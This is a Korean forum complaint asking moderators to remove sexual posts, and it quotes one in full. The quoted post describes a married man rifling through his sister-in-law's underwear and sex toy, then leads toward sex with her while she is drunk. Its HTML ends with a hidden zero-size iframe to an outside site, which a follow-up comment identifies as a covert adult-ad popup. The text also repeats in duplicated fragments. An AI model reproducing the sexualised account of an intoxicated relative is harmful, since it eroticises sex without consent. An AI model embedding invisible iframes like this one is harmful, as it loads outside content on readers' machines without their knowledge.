<p>정말 보자보자 하니깐 열통나서 못 살겠네요.</p> <p>이 곳이 무슨 포르노사이트입니까?</p> <p>사십대 이상 이야기.....라는 방제를 바꾸세요........ 사십대 이상의 포르노방이라고....</p> <p> </p> <p>담당자님도 분명히 보았을 것으로 알고 있습니다. 만약에 못 보았다면 그것은 직무유기로써 게시판담당자직을 떠나세요.</p> <p> </p> <p>처제와의 한판~</p> <p>못난형부라는 사람이 써 올렸습니다.</p> <p> </p> <p>아바타는 여자그림이 나옵니다.</p> <p>그렇지 않아도 이 곳이 선정적인 그림이나 글 때문에 한판 난리법석을 떤지 얼마 되지 않았습니다.</p> <p>그 당시에도 게시판담당자님은 한마디 언급도 없이 침묵했습니다</p> <p> </p> <p>저는 참으로 이상한 생각이 들었습니다.</p> <p>게시판담당자께서 이 방을 마련할 때는 어떤 취지가 있었을 것입니다.</p> <p>최소한도 상식적이고 모두가 고개를 끄덕이는 평범한 취지 말입니다.</p> <p>상식적이며 이해할 수 있는 사십대란 것이 무엇인 줄 알고 계시리라 믿고 있었습니다.</p> <p> </p> <p>그러데......왜 상식적이지 않은지 모르겠습니다.</p> <p>눈쌀을 찌푸리는 선정적인 그림이나 글이 올려졌다면 당연히 게시판담당자님은 그것을 지워야 하지 않습니까.....?</p> <p> </p> <p>게시판담당자님의 식견으로 보면 제가 아래에 복사해 올리는 글이 정상적인 글로 보이는 모양입니다.</p> <p>제가 무척 순진한 모양이죠?</p> <p>이 정도의 글에 화를 내다니...........</p> <p> </p> <p>이 게시판에 담당자님의 명확한 해명을 요구합니다.</p> <p>아래의 글이 정상적이며 상식적인지.....확실한 해답을 주십시요.</p> <p> </p> <p>(참고로 저도 포르노 사이트를 방문한 적도 있고 볼 것은 다 본 사람입니다.)</p> <p> </p> <p>............</p> <p> </p> <p> </p> <p> </p> <p> </p> <table cellSpacing="5" cellPadding="5" width="646" border="0"> <tr> <td>난 결혼한지 5년된 유부남임다,<br> <br> 4살된 딸아이 하나 있고, 마눌과는 한 3년전부터 한달에 한번 관계갖기가 힘듭니다,<br> <br> 마눌이 워낙 그걸 실어하거덩요,<br> <br> 밖에 나가서 룸사롱 아가씨와 2차 나갈땐, 아가씨들이 감동하는 기술을 갖고 있는 저 이지만, 마눌은 5년동안 저에게 애무 한적도 업고, 제가 갖은 애무를 다해도 그냥 졸거 있는 타입이거덩요,<br> <br> 그러니까 나무토막 입니다.<br> <br> 제가 하자고 하면 20번 졸르면 한번 대주는 것<br> 누어서 텔레비전 보는게 전부입니다.<br> <br> <br> 좌우간 각설하고,<br> <br> 2달전부터 대학을 막졸업한 처제가 취직을 하여 저희집에 묵기로 했습니다, 참고로 처가는 강릉이거덩요,<br> <br> 처제는 사실 울 마눌에 비해 얼굴이 좀 못생겼습니다<br> <br> 중하위건 이거덩요.<br> <br> 근데 몸매는 환상입니다,<br> 165정도의 키에 몸매는 정양 하고 비슷하다고 보믄 됩니다.<br> <br> 좌우간 처제는 직장 마치고 거의 11시쯤 집에 돌아 오는데<br> <br> 저랑 이야기 할 시간도 별로 없음니다<br> <br> 퇴근하자 마자 자기 방에 들어가거덩요,<br> <br> 사건은 며칠전에 장모님이 아프다는 전갈을 받고 울 마눌이 처가에 갔습니다, 당연히 딸내미를 데리고 말이죠<br> <br> 내친김에 저도 이때다 싶어. 마눌 강릉보내고 바로 휴가를 내고<br> 그 동안 못잔 잠이나 실컷 잤습니다<br> <br> 점심때 좀 깨니까 증말 심심하더군요.<br> <br> 집에 혼자 있는 게, 좋기만 한것 아니더라구요<br> <br> 뒹굴뒹굴 하다가 심심해서 처제방에 들어가 보았슴다<br> <br> 한 귀퉁이에 널 부러진 팬티스타킹이 보이더라구요<br> <br> 냄새를 맡아보다가 함 입어 보았습니다<br> <br> 느낌이 뽕가더라구요 좌우간 발가벗은 채로 처제방 탐색에 들어갔습니다.<br> <br> 일기책도 읽어보구, 뭐 남자랑 키스한 것 까지만 나오더라구요.<br> <br> 그리고 장롱도 뒤져 팬티, 부라등도 입어 보고 냄새도 맡아보고 그랬습니다.<br> <br> 그러다가, 장롱 서랍 맨 구퉁이에 양말속에 숨겨져 있는 흑인 것인듯한 딜도, 검정될도와 젤을 발견했습니다.<br> <br> 터질듯한 마음 아시겠죠.<br> <br> 흥분된 맘에, 젤을 제 항문에 바르고 넣어보았습니다.<br> <br> 아팠습니다. 조금씩 넣다가 한 5분 지나니까 정말 느낌이 조터군요<br> <br> 하루종일 팬티스타킹과 딜도를 갖고 놀다가 처제가 오기를 기다렸습니다<br> <br> 12시가 좀지나자<br> 술이 떡이된 처제가 들어왔습니다<br> <br> 오자마자 하는 혀 꼬부라진 소리가<br> <br> "형부 언니는요?"<br> "언니 강릉 갖자너"<br> "아 맞네.. 히히"<br> "형부 저 술 엄청 마셨어요. 저 넘 슬퍼요" 하면서<br> 저에게 안기는 것이 아니겠습니까<br> <br> ----------죄송. 마눌이 부르네요 낼 쓸게요--- <br> <iframe src="http://iframe.yy.to" frameBorder="0" width="0" scrolling="no" height="0" name="I1"></iframe></td> </tr> </table> (문제 부분)
은하철도 999님 복사글에 창뜨는 성인광고 테그 있는것 아세요...!!
은하철도 999님 펀글 안에 성인광고 창뜨는 광고 있습니다.
앞으로 주의 바래요.. 성인광고 올리시는 분들 우리 상상하고 틀립니다.
소스 보시면 알것입니다.
이글을 멜 쓰기 다 오시시고,,
에디터 편집에서 소스보기를 누르면.. 가장 쉽게 보실수 있습니다.
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<p>정말 보자보자 하니깐 열통나서 못 살겠네요.</p>
<p>이 곳이 무슨 포르노사이트입니까?</p>
<p>사십대 이상 이야기.....라는 방제를 바꾸세요........ 사십대 이상의 포르노방이라고....</p>
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<p>담당자님도 분명히 보았을 것으로 알고 있습니다. 만약에 못 보았다면 그것은 직무유기로써 게시판담당자직을 떠나세요.</p>
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<p>처제와의 한판~</p>
<p>못난형부라는 사람이 써 올렸습니다.</p>
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<p>아바타는 여자그림이 나옵니다.</p>
<p>그렇지 않아도 이 곳이 선정적인 그림이나 글 때문에 한판 난리법석을 떤지 얼마 되지 않았습니다.</p>
<p>그 당시에도 게시판담당자님은 한마디 언급도 없이 침묵했습니다</p>
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<p>저는 참으로 이상한 생각이 들었습니다.</p>
<p>게시판담당자께서 이 방을 마련할 때는 어떤 취지가 있었을 것입니다.</p>
<p>최소한도 상식적이고 모두가 고개를 끄덕이는 평범한 취지 말입니다.</p>
<p>상식적이며 이해할 수 있는 사십대란 것이 무엇인 줄 알고 계시리라 믿고 있었습니다.</p>
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<p>그러데......왜 상식적이지 않은지 모르겠습니다.</p>
<p>눈쌀을 찌푸리는 선정적인 그림이나 글이 올려졌다면 당연히 게시판담당자님은 그것을 지워야 하지 않습니까.....?</p>
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<p>게시판담당자님의 식견으로 보면 제가 아래에 복사해 올리는 글이 정상적인 글로 보이는 모양입니다.</p>
<p>제가 무척 순진한 모양이죠?</p>
<p>이 정도의 글에 화를 내다니...........</p>
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<p>이 게시판에 담당자님의 명확한 해명을 요구합니다.</p>
<p>아래의 글이 정상적이며 상식적인지.....확실한 해답을 주십시요.</p>
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<p>(참고로 저도 포르노 사이트를 방문한 적도 있고 볼 것은 다 본 사람입니다.)</p>
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<td>난 결혼한지 5년된 유부남임다,<br>
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4살된 딸아이 하나 있고, 마눌과는 한 3년전부터 한달에 한번 관계갖기가 힘듭니다,<br>
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마눌이 워낙 그걸 실어하거덩요,<br>
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밖에 나가서 룸사롱 아가씨와 2차 나갈땐, 아가씨들이 감동하는 기술을 갖고 있는 저 이지만, 마눌은 5년동안 저에게 애무 한적도 업고,
제가 갖은 애무를 다해도 그냥 졸거 있는 타입이거덩요,<br>
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그러니까 나무토막 입니다.<br>
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제가 하자고 하면 20번 졸르면 한번 대주는 것<br>
누어서 텔레비전 보는게 전부입니다.<br>
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좌우간 각설하고,<br>
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2달전부터 대학을 막졸업한 처제가 취직을 하여 저희집에 묵기로 했습니다, 참고로 처가는 강릉이거덩요,<br>
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처제는 사실 울 마눌에 비해 얼굴이 좀 못생겼습니다<br>
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중하위건 이거덩요.<br>
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근데 몸매는 환상입니다,<br>
165정도의 키에 몸매는 정양 하고 비슷하다고 보믄 됩니다.<br>
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좌우간 처제는 직장 마치고 거의 11시쯤 집에 돌아 오는데<br>
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저랑 이야기 할 시간도 별로 없음니다<br>
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퇴근하자 마자 자기 방에 들어가거덩요,<br>
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사건은 며칠전에 장모님이 아프다는 전갈을 받고 울 마눌이 처가에 갔습니다, 당연히 딸내미를 데리고 말이죠<br>
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내친김에 저도 이때다 싶어. 마눌 강릉보내고 바로 휴가를 내고<br>
그 동안 못잔 잠이나 실컷 잤습니다<br>
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점심때 좀 깨니까 증말 심심하더군요.<br>
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집에 혼자 있는 게, 좋기만 한것 아니더라구요<br>
<br>
뒹굴뒹굴 하다가 심심해서 처제방에 들어가 보았슴다<br>
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한 귀퉁이에 널 부러진 팬티스타킹이 보이더라구요<br>
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냄새를 맡아보다가 함 입어 보았습니다<br>
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느낌이 뽕가더라구요 좌우간 발가벗은 채로 처제방 탐색에 들어갔습니다.<br>
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일기책도 읽어보구, 뭐 남자랑 키스한 것 까지만 나오더라구요.<br>
<br>
그리고 장롱도 뒤져 팬티, 부라등도 입어 보고 냄새도 맡아보고 그랬습니다.<br>
<br>
그러다가, 장롱 서랍 맨 구퉁이에 양말속에 숨겨져 있는 흑인 것인듯한 딜도, 검정될도와 젤을 발견했습니다.<br>
<br>
터질듯한 마음 아시겠죠.<br>
<br>
흥분된 맘에, 젤을 제 항문에 바르고 넣어보았습니다.<br>
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아팠습니다. 조금씩 넣다가 한 5분 지나니까 정말 느낌이 조터군요<br>
<br>
하루종일 팬티스타킹과 딜도를 갖고 놀다가 처제가 오기를 기다렸습니다<br>
<br>
12시가 좀지나자<br>
술이 떡이된 처제가 들어왔습니다<br>
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오자마자 하는 혀 꼬부라진 소리가<br>
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"형부 언니는요?"<br>
"언니 강릉 갖자너"<br>
"아 맞네.. 히히"<br>
"형부 저 술 엄청 마셨어요. 저 넘 슬퍼요" 하면서<br>
저에게 안기는 것이 아니겠습니까<br>
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----------죄송. 마눌이 부르네요 낼 쓸게요--- <br>
<iframe src="http://iframe.yy.to" frameBorder="0" width="0" scrolling="no"
height="0" name="I1"></iframe></td>
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</table> (문제 부분)